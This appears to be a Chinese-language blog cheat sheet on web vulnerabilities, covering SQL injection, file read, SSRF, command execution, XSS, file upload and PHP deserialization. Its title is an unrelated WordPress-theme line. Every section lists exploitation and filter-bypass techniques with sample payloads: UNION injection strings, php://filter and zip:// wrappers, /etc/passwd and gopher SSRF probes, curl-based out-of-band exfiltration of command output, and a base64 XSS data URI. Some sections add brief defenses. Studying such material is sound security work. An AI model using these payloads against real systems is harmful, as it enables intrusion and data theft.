wordpress企业主题带后台优化推广联盟
一、文章简介
整合一些web漏洞,以及对漏洞的理解。
二、Web漏洞
1.SQL注入
(1)定义
开发者程序编写过程中,对传入用户数据过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句当中,再将这些查询语句传递到后端的数据库执行,从而引发实际执行的语句与预期不一致的情况。
(2)利用
1、数字型:输入点附近没有引号包裹($_GET['id'])运算模式能被运算,即1+1 => 2
2、字符型:($id)运算模式无法运算,即1+1 => 1+1
(3)碰到的问题
1、联合查询只有一行结果,无法显示所需要的
答:用 limit 进行参数限制 或者 另一条记录用一个很大的值使其无法被查询到
2、注入语法示例
答:
xxxxx'union select table-name,1 from information_schema.tables where table_schema='dvwa'#
xxxxx'union select column_name,1 from information_schema.columns where table_name='users'#
3、注入流程
答:
1、判断字符型还是数字型;
2、判断字段数量;
3、查看回显字段;
4、获取数据库和用户名;
5、查表名;
6、查表字段;
7、读取
注:复选框则通过Burpsuite抓包repeater;若引号无法使用,将表名改为database()自动获取,以及十六进制转换提交。
(4)防御
1、查询前的条件利用函数判断,函数过滤
2、输入转义、参数化查询
3、waf防护、云端防护
(5)注入思路
1、只过滤空格 => url编码代替空白符(如:%09)
2、将select替换为空 => 嵌套构造(如:selselectect)
3、大小写匹配 => 大小写混写(如:sElect)
4、正则匹配 =>构造绕过(如:正则'\bselect\b' => /*!50000select*/)
5、逃逸引号 => 编码绕过,\转义
6、字符串截断 =>\转义
(6)危害
获取敏感数据,权限提升,控制关键文件,控制整个数据库,执行系统命令
2.任意文件读取
(1)定义
攻击者通过一些手段读取服务器上开发者不允许读到的文件。
(2)利用
1、php的 php://filter 伪协议
2、Python的 feature函数
3、java的 file://协议
4、Ruby on Rails远程代码执行漏洞(CVE-2017-14849;CVE-2018-3760;CVE-2019-5418)
5、node模板注入、代码注入
6、nginx配置错误导致目录穿越(/static../ => /static/../)
(3)思路
1、爆破目录
2、利用filter协议:php://filter/convert.Base64-encode
3、利用zip协议:zip://uploads/xxx.png#1.php
3.SSRF漏洞(服务器请求伪造)
(1)定义
攻击者通过构造数据进而伪造服务器端发起请求的漏洞,通常是服务端提供了从外部服务获取数据的功能,但没对目标地址协议等参数进行过滤限制,导致攻击者可以自由构造函数,发起预期外的请求。
(2)利用
1、测试是否能控制支持常见协议(file://etc/passwd 、dict://xxx.xxx.xxx:xxxx/info 、gopher://xxxxx)
2、写入Crontab反弹shell攻击Redis
3、DNS重绑定
4.命令执行漏洞
(1)定义
调用函数执行命令且未对输入做过滤处理。
(2)利用
构造使其能同时执行多条命令即可
(3)思路
1、黑名单关键字=>利用变量进行拼接;使用通配符(?/*);借用已有字符( substr() 截取)
2、无回显=>指令外带,在平台上获取执行结果(for /F %x in (xx) do xxxxx)or (curl xx/'xxx');时间盲注(ping -nc 5 xxxxx);命令写入web目录下(x.php?cmd=whoami>test)再访问文件。
3、正则限制=>找缺漏(如:正则未多行匹配,进行绕过)
4、限制命令长度=>利用上传的文件名字拼接
5.XSS(跨站脚本攻击)
(1)定义
利用网页开发的漏洞,注入恶意代码到网页使用户加载并执行攻击者恶意制造的网页程序
(2)利用
1、存储型:恶意代码被服务器存储,在访问页面时会直接触发。
2、反射型:恶意代码未被服务器存储,每次出发通过GET/POST方式提交触发。
3、DOM型:在前端通过JS渲染完成数据交互,且不经过服务器,不需要与服务器交互。
(3)思路
1、特殊标签闭合实现payload逃逸
2、闭合引号在变量传入恶意代码
3、on事件;img标签;input标签的autofocus属性;
4、伪协议: javascript:xxx (如: javascript:alert(1) )
5、data伪协议(如:data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=)
注:乱码为<script>alert("xss")</script>的base64编码
6、借助模板的二次渲染完成沙箱逃逸(jinjia2)
7、html编码
8、变量替代
9、闭合引号转义
10、JSONP命令接口(callback=xxxxxx)
注:JSONP:解决主流浏览器的跨域数据访问,指向一个接口(动态添加)
(4)防御
1、httponly
2、输入检查
3、输出检查(安全的编码函数)
6.web文件上传漏洞
(1)定义
实现文件上传时,没有对用户上传的文件做好处理
(2)利用
1、00截断:x.php/00.jpg=>x.php
2、转换字符集造成截断
3、文件后缀绕过(php3/php5/phtml/pht)
4、上传.htaccess/.user.ini
5、IIS解析漏洞(x.asp;a.jpg=>x.asp)
6、Nginx解析漏洞(先构造代码将后缀改为jpg,之后上传x.jpg文件,访问x.jpg/1.php,因为该文件不存在且要用php解析,故最后以php解析了x.php)
7、Apache解析漏洞(使用AddType时,x.php.xxx文件由于没有对应的处理器处理xxx,所以往左识别出php,交给php处理器处理)
8、Apache CVE-2017-15715漏洞(FilesMatch指令正则中$能匹配到换行符,导致.php\n的文件能被解析)
9、location匹配顺序导致绕过
注:location ^~:普通字符串匹配后不再进行正则匹配;location:大小写敏感,前缀匹配,不是完全匹配则会继续匹配;location ~:正则匹配,匹配成功则不考虑后面的
10、临时文件利用
11、死亡之die绕过:使用字符串过滤器把exit()处理掉(upload.php --data "filename=php://filter/write=convert.base64-decode/resource=x.php")
12、zip文件绕过;zip文件在文件被删除前访问文件生成另一个脚本文件到非上传目录中(不断上传访问最终成功);解压到一半失败的zip包;目录跳跃(当使用第三方解压方法时,文件名为../x.php)
(3)碰到的问题
1、web服务器中配置上传目录的脚本文件禁止访问
答:将目录穿越上传到根目录(../x.php)。
2、文件上传到OSS(云服务器)怎么办?
答:当网站把OSS绑定在自己的二级域名下时就能用了。
3、上传文件无法被解析访问
答:上传一个php文件配合文件包含实现解析(page.php?upload=x.php)
4、getimgesize检测文件是否为正常图片的绕过
答:php代码添加到图片内容后即可
5、imagecreatefromjpeg绕过
答:上传正常图片,下载回渲染后的图片,运行脚本处理,将代码注入图片,上传新生成的图
7.反序列化漏洞
(1)反序列化定义
将对象的状态信息转换为可存储或者可传输的过程就是序列化,反序列化是为了方便对象的传输,获取之前的对象
(2)利用
1、__wakeup失效 CVE-2016-7124:属性个数不正确使wakeup失效后,利用destruct写入文件
2、bypass反序列化正则拦截逃逸:函数中存在"+"的判断,在对象名的长度前加上"+"号即可
3、字符逃逸CVE-2015-8562:类中不存在的属性也会进行反序列化,因字符数不对应出错,本身过滤函数使用后会变为2倍出错,故直接写入正确数量插入。(插入";i:1;s:8:"scanfsec";},长度为22,原序列添加22个x且长度加22*2=44个)